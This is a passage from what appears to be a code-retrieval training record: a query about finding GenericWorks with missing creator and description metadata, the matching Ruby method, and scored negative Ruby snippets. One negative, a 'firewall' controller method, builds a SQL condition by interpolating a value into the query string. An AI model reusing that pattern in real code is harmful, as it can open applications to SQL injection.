"def firewall\n @useredit=User.find_by_wedgetail(params[:wedgetail])\n authorize_only (:patient) {@useredit.wedgetail == @user.wedgetail} # everyone can only edit themselves\n authorize :admin # apart from admin\n @currentlist=User.find(:all,:conditions=>[\"firewalls.patient_wedgetail='#{@useredit.wedgetail}'\"],:joins=>\"inner join firewalls on users.wedgetail=firewalls.user_wedgetail\")\n if ! params.has_key? :show or params[:show]==\"Team\"\n @search_type=\"Team\"\n @next_search=\"Individual\"\n @allusers=User.find(:all,:conditions=>[\"role=6\"])\n else\n @search_type=\"Individual\"\n @next_search=\"Team\"\n @allusers=User.find(:all,:conditions=>[\"role=3 or role=4\"])\n end\n @listname=\"greylist\"\n @listname=\"blacklist\" if @useredit.access==2\n @listname=\"whitelist\" if @useredit.access==3\n end"
] |
[
"0.61088336",
"0.5771665",
"0.5768473",
"0.5598489",
"0.5573087",
"0.55460536",
"0.5509252",
"0.54257214",
"0.54257214",
"0.54257214",
"0.54257214",
"0.54257214",
"0.5422771",
"0.53708947",
"0.53124815",
"0.53081685",
"0.53018373",
"0.52960354",
"0.5266907",
"0.5257056",
"0.5221486",
"0.51501405",
"0.5134635",
"0.5134635",
"0.5134635",
"0.5134635",
"0.5134635",
"0.5134635",
"0.5134635",
"0.5119117",
"0.5088445",
"0.50318855",
"0.5023674",
"0.50092703",
"0.49493167",
"0.49419993",
"0.4907725",
"0.4907725",
"0.48969314",
"0.4884476",
"0.48527515",
"0.4802964",
"0.47964764",
"0.47919232",
"0.47861502",
"0.47799098",
"0.47767013",
"0.47638455",
"0.4763187",
"0.47598794",
"0.47556913",
"0.4753696",
"0.47510695",
"0.47381285",
"0.4733919",
"0.4729888",
"0.47264907",
"0.4721804",
"0.4713866",
"0.47070515",
"0.47049275",
"0.46982083",
"0.46915245",
"0.4687382",
"0.46872354",
"0.46860257",
"0.46843743",
"0.46796113",
"0.46759272",
"0.4674831",
"0.46738625",
"0.4673828",
"0.46733817",
"0.4672106",
"0.46674404",
"0.46606737",
"0.4658344",
"0.46543604",
"0.46539503",
"0.46516907",
"0.46443346",
"0.4643136",
"0.4629596",
"0.46224236",
"0.46224236",
"0.46194604",
"0.46189225",
"0.4618283",
"0.46172655",
"0.4616529",
"0.46159604",
"0.46100143",
"0.46025443",
"0.46002612",
"0.4593326",
"0.4587101",
"0.45790717",
"0.45729014",
"0.45712924",
"0.45662135"
] |
0.64365894
|
0
|
Get array of GenericWorks that are missing creator and description metadata.
|
def works_with_missing_metadata
GenericWork.all.select do |gw|
gw.description == [] && gw.creator == []
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def creatable_works\n all_works.select do |work|\n can?(:create, work)\n end\n end",
"def missing_list\n list = []\n regular_workers.each do |w|\n if w.sum_time_in_seconds(DateTime.now - 14.days, DateTime.now) == 0\n list << w\n end\n end\n return list\n end",
"def all_works\n [ScannedResource, ScannedMap, RasterResource, VectorResource, Numismatics::Issue, Playlist]\n end",
"def missing_data\n only_missing.to_a\n end",
"def missing_list\n list = []\n active_workers.each do |w|\n if w.sum_time_in_seconds(DateTime.now - 14.days, DateTime.now) == 0\n list << w\n end\n end\n return list\n end",
"def works_with_empty_permissions\n GenericWork.all.select{|gw| gw.permissions.empty?}\n end",
"def collect_specimens(data, xschema)\n# specimens = data.find_all { |d| d[\"type\"] =~ /MO:((whole_)?organism(_part)?)|(developmental_)?stage|(worm|fly)_development:|RNA|cell(_line)?|strain_or_line|BioSample|modencode:ADF|MO:genomic_DNA|SO:RNAi_reagent|MO:GrowthCondition|modencode:ShortReadArchive_project_ID(_list)? \\(SRA\\)|MO:CellLine|modencode:GEO_record/ }\n specimens = data\n missing = Array.new\n filtered_specimens = Array.new\n # Make sure that the data we've found of these types actually matches an\n # expected template for cell lines, strains, or stages\n specimens.each { |d|\n attrs = self.get_attributes_for_datum(d[\"data_id\"], xschema)\n if !( \n attrs.find { |a| a[\"heading\"] == \"official name\" }.nil? && \n attrs.find { |a| a[\"heading\"] == \"Cell Type cv\" }.nil? &&\n attrs.find { |a| a[\"heading\"] == \"developmental stage\" }.nil? &&\n attrs.find { |a| a[\"heading\"] == \"strain\" }.nil? \n ) then\n # This datum has an attribute with one of the above headings. All of\n # the headings being checked are from the wiki, and as such are\n # somewhat controlled by templates\n d[\"attributes\"] = attrs\n filtered_specimens.push d\n elsif attrs.find { |attr| attr[\"type\"] == \"modencode:reference\" } then\n # This datum references a datum in an older submission (as with the\n # Celinker RNA samples), so we'll keep it in case it turns out to be an\n # antibody, strain, stage, or cell line\n ref_attr = attrs.find_all { |attr| attr[\"type\"] == \"modencode:reference\" }\n d[\"attributes\"] = attrs\n filtered_specimens.push d\n elsif attrs.find { |attr| attr[\"heading\"] =~ /Characteristics?/ } then\n d[\"attributes\"] = attrs\n filtered_specimens.push d\n elsif d[\"heading\"] =~ /Anonymous Datum/ && d[\"type\"] =~ /MO:((whole_)?organism(_part)?)/ then\n # Occasionally we don't specify the piece of the organism that is\n # collected except as an anonymous output between two protocols. This\n # serves to capture at least whether we've got a whole organism or part\n # of one\n d[\"attributes\"] = Array.new\n filtered_specimens.push d\n elsif d[\"type\"] =~ /MO:(whole_)?organism/ then\n d[\"attributes\"] = attrs\n filtered_specimens.push d\n elsif d[\"type\"] =~ /developmental_stage/ then\n d[\"attributes\"] = attrs\n filtered_specimens.push d\n elsif d[\"type\"] =~ /modencode:ADF/ then\n d[\"attributes\"] = attrs\n filtered_specimens.push d\n elsif d[\"type\"] =~ /SO:RNAi_reagent/ then\n d[\"attributes\"] = attrs\n filtered_specimens.push d\n elsif d[\"type\"] =~ /MO:GrowthCondition/ then\n d[\"attributes\"] = nil\n filtered_specimens.push d\n elsif attrs.find { |a| a[\"type\"] =~ /MO:Compound/i } then\n d[\"attributes\"] = attrs\n filtered_specimens.push d\n elsif d[\"type\"] =~ /modencode:ShortReadArchive_project_ID(_list)? \\(SRA\\)/ then\n d[\"attributes\"] = nil\n filtered_specimens.push d\n elsif attrs.find { |a| a[\"heading\"] == \"RNA ID\" } then\n # Ignore RNA collections\n elsif d[\"value\"].length == 0\n # Ignore empty (probably anonymous) cells\n elsif d[\"type\"] == \"modencode:GEO_record\"\n # Ignore GEO records that aren't references to old submissions\n else\n # Track any specimens that didn't fall into one of the above categories\n # so we can add support for them to the code.\n missing.push d\n end\n }\n # Make sure the list of specimens is unique\n filtered_specimens = filtered_specimens.uniq_by { |d| d[\"attributes\"].nil? ? d[\"value\"] : d[\"attributes\"] }\n\n missing = missing.find_all { |d| d[\"type\"] =~ /MO:((whole_)?organism(_part)?)|(developmental_)?stage|(worm|fly)_development:|RNA|cell(_line)?|strain_or_line|BioSample|modencode:ADF|MO:genomic_DNA|SO:RNAi_reagent|MO:GrowthCondition|modencode:ShortReadArchive_project_ID(_list)? \\(SRA\\)|MO:CellLine|modencode:GEO_record/ }\n # Whine about any missing specimens\n if missing.size > 0 then\n if missing.size > 1 then\n missing = missing[0...2].map { |d| d[\"value\"] + \" (#{d[\"type\"]})\" }.join(\", \") + \", and #{missing.size - 2} more\"\n else\n missing = missing[0][\"value\"] + \" (#{missing[0][\"type\"]})\"\n end\n puts \"Unknown type of specimen: #{missing} for submission #{xschema}\"\n end\n\n return filtered_specimens\n\n end",
"def get_all_works_metadata\n ActiveFedora::SolrService.query(\"active_fedora_model_ssi:#{self.class}\",\n {:rows => ActiveFedora::SolrService.count(\"active_fedora_model_ssi:#{self.class}\"), :fl => 'id search_result_title_tsi'})\n end",
"def get_nothing(nodes, metadata)\n record_call(:get_nothing, nodes, metadata)\n # Here we return something to test that if the first one fails we have the second CMDB\n nodes.map { |node| [node, \"#{node} has nothing\"] }.to_h\n end",
"def work_details\r\n unless self.work_informations.blank?\r\n work_arr = []\r\n self.work_informations.each do |work|\r\n work_arr << work.occupation\r\n work_arr << work.company_name\r\n work_arr << work.industry\r\n work_arr << work.company_website\r\n work_arr << work.job_description\r\n end\r\n return work_arr\r\n end\r\n end",
"def all_works\n result = []\n for exp in (happening_expressions+presented_expressions).flatten.uniq\n # result << exp.work\n logger.debug \"CLASS:#{exp.work.class}\"\n result = result + [exp.work]\n end\n \n \n result.flatten.uniq.sort_by{|w|[w.work_title.downcase]}\n\n end",
"def can_ever_create_works?\n !creatable_works.empty?\n end",
"def non_gem_requirements\n @metadata[:requires].nil? ? [] :\n @metadata[:requires].select { |r| !r.gem? }\n end",
"def optional_only\n @works = Work.optional_only\n render :index\n end",
"def find_specs_without_tasks\n spec_file_names.reject do |spec|\n manifest = Noop::Utils.convert_to_manifest spec\n task_file_names.include? manifest\n end\n end",
"def works\n\t\t@works = NonfictionDecorator.decorate(Work.nonfiction.with_filters(index_params, current_user))\n\tend",
"def jobs_without_template\n []\n end",
"def project_spec_arrays\n [:controller_specs, :model_specs, :view_specs]\n end",
"def get_others(nodes, _metadata)\n nodes.map { |node| [node, platform_for(node).metadata_for(node)] }.to_h\n end",
"def no_created_at_transient_registrations_to_remove\n WasteCarriersEngine::TransientRegistration.where(\n \"created_at\" => nil,\n \"metaData.lastModified\" => { \"$lt\" => oldest_possible_date },\n \"workflow_state\" => { \"$nin\" => WasteCarriersEngine::RenewingRegistration::SUBMITTED_STATES }\n )\n end",
"def get_questions_without_visualizer\n questions.reject { |q| q.visualizer_set? }\n end",
"def default_work_headers\n [:title, :creator, :keyword, :rights_statement, :visibility, :files, :deduplication_key]\n end",
"def file_sets_missing_metadata\n FileSet.all.select do |fs|\n fs.original_file && fs.original_file.file_size == []\n end\n end",
"def coauthored_works\n @coauthored_works = []\n works.find(:all, :conditions => 'posted = 1').each do |w|\n unless self.is_sole_author_of?(w)\n @coauthored_works << w \n end\n end\n return @coauthored_works \n end",
"def not_created_instances\n pending_instances_count = wanted_instances - filtered_pods_by_track.count\n\n return [] if pending_instances_count <= 0\n\n Array.new(pending_instances_count, deployment_instance(pod_name: 'Not provided', pod_status: 'Pending'))\n end",
"def sole_authored_works\n @sole_authored_works = []\n works.find(:all, :conditions => 'posted = 1').each do |w|\n if self.is_sole_author_of?(w)\n @sole_authored_works << w\n end\n end\n return @sole_authored_works \n end",
"def others(array)\n array.select{|elt| not(elt.kind_of?(Meta))}\n end",
"def collect_microarrays(data, xschema)\n filtered_arrays = Array.new\n arrays = data.find_all { |d| d[\"type\"] =~ /modencode:(ADF)/ }\n arrays.each { |d|\n attrs = self.get_attributes_for_datum(d[\"data_id\"], xschema)\n unless attrs.find { |a| a[\"heading\"] == \"official name\" }.nil? then\n d[\"attributes\"] = attrs\n filtered_arrays.push d\n end\n }\n filtered_arrays = filtered_arrays.uniq_by { |d| d[\"attributes\"].nil? ? nil : d[\"attributes\"] }\n return filtered_arrays\n end",
"def trophy_files\n trophies.map do |t|\n begin\n ::GenericFile.load_instance_from_solr(t.generic_file_id)\n rescue ActiveFedora::ObjectNotFoundError\n logger.error(\"Invalid trophy for user #{user_key} (generic file id: #{t.generic_file_id})\")\n nil\n end\n end.compact\n end",
"def elements_missing\n elements_to_check.reject { |name| there?(name) }\n end",
"def createEmptyObjectsArray\n begin\n return [{:name => '', :size => '', :type => ''}]\n rescue Exception => error\n return [{:name => '', :size => '', :type => ''}]\n flash.now[:danger] = \"<strong>Error!</strong>\".html_safe + \" Problem creating S3 objects list: #{error}.\"\n end\n end",
"def allpseuds\n works.collect(&:pseuds).flatten.compact.uniq.sort\n end",
"def issues()\n\t\tissues = []\n\t\tif self.highschool.blank?\n\t\t\tissues << self.name + \" has no highschool assigned.\"\n\t\tend\n\t\tif self.mentor.blank?\n\t\t\tissues << self.name + \" has no mentor.\"\n\t\tend\n\t\treturn issues\n\tend",
"def enumerate_missing\n account_snapshots = account.snapshots\n backed_up_snapshots = self.snapshots\n backed_up_snapshot_descriptions = backed_up_snapshots.collect { |bus| bus.description }\n missing = []\n account_snapshots.each do |snapshot|\n new_desc = \"#{account.name} #{snapshot.description}\"\n missing << snapshot if !backed_up_snapshot_descriptions.include?(new_desc) && (VfSnapshots::DESC_REGEX =~ snapshot.description) && snapshot.start_time.to_date > Date.today-( Config.accounts[account.name][:backup][:days] || VfSnapshots::DEFAULT_BACKUP_DAYS )\n end\n missing\n end",
"def find_tasks_without_specs\n task_file_names.reject do |manifest|\n spec = Noop::Utils.convert_to_spec manifest\n spec_file_names.include? spec\n end\n end",
"def get_surveys\n survey_types = SurveyType.all(:conditions=>[\"name != ?\", \"test\"])\n non_empty_survey_types = []\n survey_types.each do |survey_type|\n any_datasets = false\n survey_type.surveys.each do |survey|\n any_datasets = true unless survey.datasets.empty?\n end\n if any_datasets \n non_empty_survey_types << survey_type\n end\n end\n surveys = []\n non_empty_survey_types.each do |survey_type|\n survey_type.surveys.each do |survey|\n unless survey.datasets.empty? \n surveys << survey unless !Authorization.is_authorized?(\"show\", nil, survey, current_user)\n end\n end\n end\n return surveys\n end",
"def get_unpublished_books\n @grid_title = \"Not Published\"\n\n # get task 'Production Complete' which is a published book\n published_task = Task.find_by_name(\"Production Complete\")\n workflow_task = published_task.workflow.root\n\n # get all tasks in the workflow that occur before production compelete.\n not_published_tasks = []\n while next_task = workflow_task.next_task\n\n # we don't want to include published_task\n break if next_task.id == published_task.id\n\n not_published_tasks.push next_task.name\n workflow_task = next_task\n end\n @projects = ProjectGridTableRow.includes(project: [:cover_template])\n .where(\"production_task_name in (?)\", not_published_tasks)\n .not_archived\n end",
"def index\n @worked_hours = @worked_hours.not_extra\n\n respond_with(@worked_hours)\n end",
"def extract_work_description_display\n description_display_array = {}\n self.find_by_terms(:vra_work,:descriptionSet,:descriptionSet_display).each do |description_display| \n ::Solrizer::Extractor.insert_solr_field_value(description_display_array, \"description_display_tesim\", description_display.text) \n end\n return description_display_array\n end",
"def non_creators(list, users)\n members = []\n users.each do |user|\n if !List.is_creator?(list, user)\n members << user\n end\n end\n members\n end",
"def wipeout_unposted_works\n works.find(:all, :conditions => {:posted => false}).each do |w|\n w.destroy\n end\n end",
"def non_gem_build_requirements\n @metadata[:build_requires].nil? ? [] :\n @metadata[:build_requires].select { |r| !r.gem? }\n end",
"def ignorable_fields\n [\"created_at\", \"updated_at\", \"approved\", \"discarded_at\", \"organisation\", \"notes_count\"]\n end",
"def exclude_from_model\n []\n end",
"def test_kindArmorNullValue\n f = ArmorFilter.new(\"kind\")\n new_list = @baseItems.find_all{|x| f.apply(x)}\n return new_list.size == 0\n end",
"def authors_not_yet_synced\n Author.where(gh_issue_number: nil)\n end",
"def list_unknownservers\n @admin.listUnknownServers.to_a\n end",
"def find_missing(spec_names)\n spec_names.find_all { |full_name|\n specification(full_name).nil?\n }\n end",
"def where_no_developers\n [[:educator_id, '!=', 12],\n [:educator_id, '!=', 509]]\n end",
"def provided_models\n if model = explicit_fullfilled_model\n [model[0]] + model[1]\n else\n models = self.model.fullfilled_model\n if (task_class = models.find { |m| m.kind_of?(Class) })\n [task_class] + models.find_all { |m| !task_class.has_ancestor?(m) }\n else\n models\n end\n end\n end",
"def list_worksets (username, token, include_public)\n Rails.logger.debug \"list_public_worksets #{username}\"\n\n url = URI.parse(\"#{APP_CONFIG['registry_url']}/worksets?public=#{include_public}\")\n http = Net::HTTP.new(url.host, url.port)\n if Rails.env.development?\n http.set_debug_output($stdout)\n end\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Get.new(url.request_uri)\n request.add_field(\"Authorization\", \"Bearer #{token}\")\n request.add_field(\"Accept\", \"application/vnd.htrc-workset+xml\")\n response = http.request(request)\n Rails.logger.debug \"Response Code: #{response.code}\"\n\n case response\n when Net::HTTPUnauthorized then\n raise Exceptions::SessionExpiredError.new(\"Session expired. Please login again\")\n when Net::HTTPSuccess then\n # Do nothing\n else\n raise Exceptions::SystemError.new(\"Error retrieving worksets (HTTP #{response.code})\")\n end\n\n response_xml = response.body\n #Rails.logger.debug response_xml\n\n worksets = Array.new\n\n doc = REXML::Document.new(response_xml)\n\n doc.elements.each('worksets/workset/metadata') { |metadata|\n hash = Hash.new\n hash['name'] = metadata.elements['name'].text\n hash['description'] = metadata.elements['description'].text\n hash['author'] = metadata.elements['author'].text\n\n if (hash['author'] == username)\n worksets.unshift(hash)\n else\n worksets.push(hash)\n end\n }\n\n id = 1\n worksets.each { |w|\n w['id'] = id;\n id = id+1\n\n }\n\n return worksets\n end",
"def render_noindex(tags)\n meta_tags.extract_noindex.each do |name, content|\n tags << Tag.new(:meta, :name => name, :content => content) if content.present?\n end\n end",
"def people_without_employments(i=0, y=[])\n CRM[:people].each do |person|\n if person[:employments] == []\n person.delete(:employments)\n y[i] = person\n i+=1\n end\n end\n return y\n end",
"def actual_specs\n as = supplier_orders.map(&:actual_specs)\n as = as.uniq.compact\n as\n end",
"def spec_descriptions\n [spec_description, spec_additional_description].compact\n end",
"def get_matter_worklist(options={})\n parser.results_parser(get({ path: ROUTES[:get_recent_workspaces].call(@customer_id, @library_id), headers: authorization_header_for_rest_api}))\n end",
"def ignore_associated_types\n [Strain, Organism, HumanDisease]\n end",
"def get_tasks_from_todoist\n return Todoist::Task.uncompleted(PROGRAMMING_PROJECT_ID)\n end",
"def getNiceList\n\t\ttickets = @tickets.read ['machinename', 'title', 'description']\n\n\t\toutput = \"Tickets:\"\n\t\ttickets.each do |row|\n\t\t\toutput += \"\\n#{row['title']} \\(#{row['machinename']}\\)\\n\"\n\t\t\toutput += \"#{row['description']}\\n\"\n\t\t\toutput += \"-------------------------------------------\"\n\t\tend\n\t\toutput\n\tend",
"def worst\n sorted_specs.map do |spec|\n Result.new(\n spec.name,\n owners_of(spec).map { |o| o['email'] }\n )\n end\n end",
"def create_contents\n contents = []\n if description[\"contents\"].blank?\n logger.warn \"\\n++++++\\nWARNING! Could not find any content descriptions for element: #{self.name}\\n++++++++\\n\"\n else\n description[\"contents\"].each do |content_hash|\n contents << Alchemy::Content.create_from_scratch(self, content_hash.symbolize_keys)\n end\n end\n end",
"def no_structure\n structure {}\n end",
"def metadata(namespace: :default)\n @empty_collection\n end",
"def default_workflows\n xml=self.administrativeMetadata.ng_xml\n nodes=self.administrativeMetadata.term_values(:registration, :workflow_id)\n if nodes.length > 0\n wfs=[]\n nodes.each do |node|\n wfs << node\n end\n wfs\n else\n []\n end \n end",
"def build_work(w_hsh)\n title = Array(w_hsh[:title])\n creator = Array(w_hsh[:creator])\n rights = Array(w_hsh[:rights])\n desc = Array(w_hsh[:description])\n methodology = w_hsh[:methodology]\n subject = Array(w_hsh[:subject])\n contributor = Array(w_hsh[:contributor])\n date_created = Array(w_hsh[:date_created]) \n rtype = Array(w_hsh[:resource_type] || 'Dataset')\n\n gw = GenericWork.new( title: title, creator: creator, rights: rights,\n description: desc, resource_type: rtype,\n methodology: methodology, subject: subject,\n contributor: contributor, date_created: date_created ) \n paths_and_names = w_hsh[:files].zip w_hsh[:filenames]\n fsets = paths_and_names.map{|fp| build_file_set(fp[0], fp[1])}\n fsets.each{|fs| gw.ordered_members << fs}\n gw.apply_depositor_metadata(user_key)\n gw.owner=(user_key)\n gw.save!\n return gw\n end",
"def serialize_one_work(work)\n [{ public_uid: work.public_uid,\n title: work.title\n }]\n end",
"def discardable\n []\n end",
"def cross_project\n []\n end",
"def public_templates\n Template.includes(org: :identifiers)\n .joins(:org)\n .published\n .publicly_visible\n .where(customization_of: nil)\n .order(:title)\n end",
"def misc_items\n misc_items_names = self.class::MISC_ITEMS.map { |index, item|\n self.send(index) ? item : nil\n }\n misc_items_names.delete(nil)\n misc_items_names\n end",
"def get_others(nodes, metadata)\n record_call(:get_others, nodes, metadata)\n nodes.map do |node|\n [\n node,\n {\n downcase: \"_#{node}_\",\n last_3: node[-3..],\n nothing: \"#{node} has another nothing\"\n }\n ]\n end.to_h\n end",
"def org_templates(templates: [])\n org_templates = Template.latest_version_per_org(@client.user.org).published\n custs = Template.latest_customized_version_per_org(@client.user.org).published\n return (templates + org_templates).sort_by(&:title) unless custs.any?\n\n # Remove any templates that were customized by the org, we will use their customization\n templates.reject { |t| custs.map(&:customization_of).include?(t.family_id) }\n\n (org_templates + custs + templates).sort_by(&:title)\n end",
"def contains_uniq_for_work_filters?\n !(composition_revision_year.blank? and \n work_category_id.blank? and \n work_subcategory_id.blank? and \n work_additional_subcategory_id.blank? and \n difficulty.blank? and \n language_id.blank? and \n has_programme_note == \"0\" and \n has_score == \"0\" and \n has_recording == \"0\"\n )\n end",
"def not_covered\n items = Array.new\n\n vehicles.each do |v|\n unless v.covered?\n items << v\n end\n end\n\n items\n end",
"def ignore_non_read_or_write_attributes\n ['title', 'email', 'expertise_list', 'tool_list', 'mbox_sha1sum']\n end",
"def sets\n return [EscholSet.new({name: \"everything\", spec: \"everything\"})]\n end",
"def non_baculized_hosts\n hosts.not_baculized.pluck(:name)\n end",
"def create_all_tims\n tim_types = []\n\n @layout_images.each do |image|\n if image['Id'] =~ /^TIM/\n tim_types << image['Tim']\n end\n end\n\n create_tims(tim_types)\n end",
"def works_evidenced_composers\n all_composers = []\n works.map{|w| all_composers << w.composers}\n all_composers.flatten!\nend",
"def should_be_array\n %w[\n dc_creator_sm\n dc_subject_sm\n dct_spatial_sm\n dct_temporal_sm\n dct_isPartOf_sm\n ].freeze\n end",
"def get_unqual_records\n records = storage_engine.get_all\n qual_records = []\n records.each do |record|\n qual_records << record unless record.qualified?\n end\n qual_records\n end",
"def tested_products\n return self.products.select do |product|\n product.incomplete_tests.count == 0\n end\n end",
"def existing\n []\n end",
"def render_noindex(tags)\n meta_tags.extract_robots.each do |name, content|\n tags << Tag.new(:meta, name: name, content: content) if content.present?\n end\n end",
"def required\n []\n end",
"def all_works\n #start = numeric( params[:start], DEFAULT_START )\n #limit = numeric( params[:limit], DEFAULT_LIMIT )\n\n works = batched_get( {} )\n respond_to do |format|\n format.json do\n if works.empty?\n render_json_works_response(:not_found )\n else\n # dont provide fileset information here, it takes too long and we just want work information\n render_json_works_response(:ok, work_transform( works, EXCLUDE_FILESETS ) )\n end\n end\n format.csv do\n # provide fileset information here because this is used for work export\n render_csv_works_response( work_transform( works, INCLUDE_FILESETS ) )\n end\n end\n\n end",
"def creation_disabled_types\n @creation_disabled_types ||= []\n end",
"def test_no_raise_empty_result\n\n r = Ruote.filter(\n [ { 'field' => 'x', 't' => 'array', 'has' => 'a' } ],\n { 'x' => %w[ a b c ] },\n :no_raise => true)\n\n assert_equal(\n { 'x' => %w[ a b c ] },\n r)\n end",
"def not_os_vxworks\n\t\t\t\t\twhere(\"os NOT LIKE '%VxWorks%'\")\n\t\t\t\tend",
"def create_tims(tim_types)\n return if tim_types.nil? || tim_types.empty?\n\n image_maps = []\n tim_images_array = []\n\n @layout_images.each do |image|\n if tim_types.include?(image['Tim']) && image['Id'] =~ /^TIM/\n tim_images_array << [image]\n end\n end\n\n tim_images_array.each do |images|\n @layout_images.each do |image|\n if image['Tim'] == images[0]['Tim'] && image['Id'] != images[0]['Id'] && image['Type'] != 'RSV'\n images << image\n end\n end\n end\n\n @layout_images.each do |image|\n if image['Id'] =~ /^TIM/ && image['Id'] != 'TIMH'\n image_maps << image\n end\n end\n\n tim_images_array.each do |tim_images|\n is_timh = tim_images[0]['Id'] == 'TIMH'\n create_tim(tim_images, image_maps, is_timh)\n end\n end",
"def required_data() [] end",
"def associated_works\n result = commissioned_expressions\n assoc_expressions = happening_expressions + presented_expressions + commissioned_expressions\n assoc_expressions.uniq! # dont do more work than we have to\n for exp in assoc_expressions\n works_for_exp = [exp.work] + [exp.parent_work]\n result = result + [exp.work] if !exp.work.blank?\n result = result + [exp.parent_work] if !exp.parent_work.blank?\n end\n \n result\n \n \n end",
"def unStartedTests\n ret = Array.new\n @testCases.each { |t| ret << t.name unless t.ran? }\n ret\n end",
"def specials\n @specials = response[\"specials\"]\n @specials[\"items\"].map!{|item| Foursquared::Response::Special.new(client, item)} if @specials\n @specials\n end",
"def test_no_raise\n\n r = Ruote.filter(\n [ { 'field' => 'x', 't' => 'hash', 'has' => 'a' } ],\n { 'x' => %w[ a b c ] },\n :no_raise => true)\n\n assert_equal(\n [ [ { \"has\" => \"a\", \"field\" => \"x\", \"t\" => \"hash\"}, \"x\", [ \"a\", \"b\", \"c\" ] ] ],\n r)\n end",
"def filtered_widgets_templates\n if MnoEnterprise.widgets_templates_listing\n return self.widgets_templates.select do |t|\n MnoEnterprise.widgets_templates_listing.include?(t[:path])\n end\n else\n return self.widgets_templates\n end\n end",
"def filtered_widgets_templates\n if MnoEnterprise.widgets_templates_listing\n return self.widgets_templates.select do |t|\n MnoEnterprise.widgets_templates_listing.include?(t[:path])\n end\n else\n return self.widgets_templates\n end\n end",
"def universal_questions()\n assigned_questions = Question.scoped\n assigned_questions =assigned_questions.where(:rotation => nil) unless rotation == nil\n assigned_questions =assigned_questions.where(:year => nil) unless year == nil\n return assigned_questions\n end",
"def create_contents\n contents = []\n if description[\"contents\"].blank?\n log_warning \"Could not find any content descriptions for element: #{self.name}\"\n else\n description[\"contents\"].each do |content_hash|\n contents << Content.create_from_scratch(self, content_hash.symbolize_keys)\n end\n end\n end",
"def get_non_indexed_attributes\n {}\n end"
] |
[
"0.5886883",
"0.5348945",
"0.53283125",
"0.5142102",
"0.5132125",
"0.51179856",
"0.50782174",
"0.50779605",
"0.50741905",
"0.5022318",
"0.4969895",
"0.4919487",
"0.4869716",
"0.48494473",
"0.47848085",
"0.47560102",
"0.4749283",
"0.47350717",
"0.4710902",
"0.47080576",
"0.47029164",
"0.4691006",
"0.46870542",
"0.46776992",
"0.46685913",
"0.46588445",
"0.46527347",
"0.46456778",
"0.46427694",
"0.462434",
"0.4617889",
"0.4567397",
"0.4562619",
"0.45572618",
"0.45505336",
"0.45492306",
"0.4544338",
"0.45411175",
"0.45391533",
"0.4519445",
"0.45118046",
"0.45096108",
"0.44885305",
"0.44842014",
"0.44712958",
"0.44709626",
"0.4458727",
"0.4452304",
"0.44484574",
"0.44447613",
"0.44396994",
"0.44323394",
"0.4429975",
"0.44213653",
"0.4420874",
"0.4420831",
"0.44197083",
"0.4413964",
"0.44118625",
"0.44045523",
"0.44030535",
"0.43930072",
"0.43875945",
"0.43875834",
"0.43702677",
"0.43664137",
"0.43618837",
"0.43599814",
"0.4358285",
"0.435488",
"0.4354062",
"0.4347042",
"0.43283156",
"0.43242925",
"0.4312643",
"0.43057337",
"0.4303723",
"0.43036613",
"0.4300996",
"0.4298924",
"0.42989025",
"0.42967722",
"0.42931685",
"0.42905125",
"0.42897922",
"0.42858922",
"0.42853174",
"0.42851585",
"0.42831025",
"0.42828292",
"0.42692873",
"0.42622048",
"0.42613727",
"0.42553693",
"0.42543098",
"0.42535666",
"0.42535666",
"0.4248381",
"0.42319158",
"0.42293492"
] |
0.79984206
|
0
|
Get array of FileSets that have an original file which is missing technical metadata. Minimally, check for size as a surrogate.
|
def file_sets_missing_metadata
FileSet.all.select do |fs|
fs.original_file && fs.original_file.file_size == []
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def file_sets\n @iss_file.file_sets.select {|fs| fs.components.include? name }\n end",
"def staged\n @files.select { |k, f| f.sha_index != \"0000000000000000000000000000000000000000\" && f.type != nil }\n end",
"def relevant_itemsets\n frequent_itemsets.reject do |itemset|\n itemset[:items].intersection(files).empty? || itemset[:items].subset?(files)\n end\n end",
"def metadata_files\n return @metadata_files unless @metadata_files.nil?\n @metadata_files = MetadataFile.all\n @existing_files, @new_files = [], []\n @metadata_files.each do |f|\n if f.cached?\n @existing_files << f\n else\n @new_files << f\n end\n end\n end",
"def filter_nonexistent(modified_files); end",
"def files\n file_sets.map(&:original_file)\n end",
"def unregistered_datasets\n datasets = []\n MiGA::Dataset.RESULT_DIRS.values.each do |dir|\n dir_p = \"#{path}/data/#{dir}\"\n next unless Dir.exist? dir_p\n\n Dir.entries(dir_p).each do |file|\n next unless\n file =~ %r{\n \\.(fa(a|sta|stqc?)?|fna|solexaqa|gff[23]?|done|ess)(\\.gz)?$\n }x\n\n m = /([^\\.]+)/.match(file)\n datasets << m[1] unless m.nil? or m[1] == \"miga-project\"\n end\n end\n datasets.uniq - metadata[:datasets]\n end",
"def json_sets_without_image\n ids = []\n JsonSet.all.each do |set|\n if set.json_cards.any?\n if File.exist?(\"/home/deploy/magic/shared/public/#{set.json_cards.first.image_url}\")\n next\n else\n ids << set.id\n end\n elsif set.json_tokens.any?\n if File.exist?(\"/home/deploy/magic/shared/public/#{set.json_tokens.first.image_url}\")\n next\n else\n ids << set.id\n end\n end\n ids\n end\n end",
"def find_original_file(file_set:)\n if file_set.respond_to?(:original_file_id)\n raise ::Valkyrie::Persistence::ObjectNotFoundError, \"File set's original file is blank\" if file_set.original_file_id.blank?\n query_service.custom_queries.find_file_metadata_by(id: file_set.original_file_id)\n else\n raise ::Valkyrie::Persistence::ObjectNotFoundError,\n \"#{file_set.internal_resource} is not a `Hydra::FileSet` implementer\"\n end\n end",
"def existing_files\n metadata_files if @existing_files.nil?\n @existing_files\n end",
"def check_for_inexistent_files\n inexistent_files = []\n @files.each do |file|\n inexistent_files << file unless File.exists? file\n end\n\n inexistent_files\n end",
"def find_original_file(file_set:)\n find_exactly_one_file_by_use(\n file_set: file_set,\n use: Hyrax::FileMetadata::Use::ORIGINAL_FILE\n )\n end",
"def obsolete_data_sets\n data_sets.take_while { |ds| ds != active_data_set }.slice(0...-1)\n end",
"def obsolete_data_sets\n data_sets.take_while { |ds| ds != active_data_set }.slice(0...-1)\n end",
"def files\n file_sets.map{|fs| fs.files }.flatten\n end",
"def modified_files\n remote_details = @container.list_objects_info\n same_files.reject do |file|\n (remote_details[file][:last_modified] <=> File.mtime(CloudfileAsset::Local.make_absolute(file))) == 1\n end\n end",
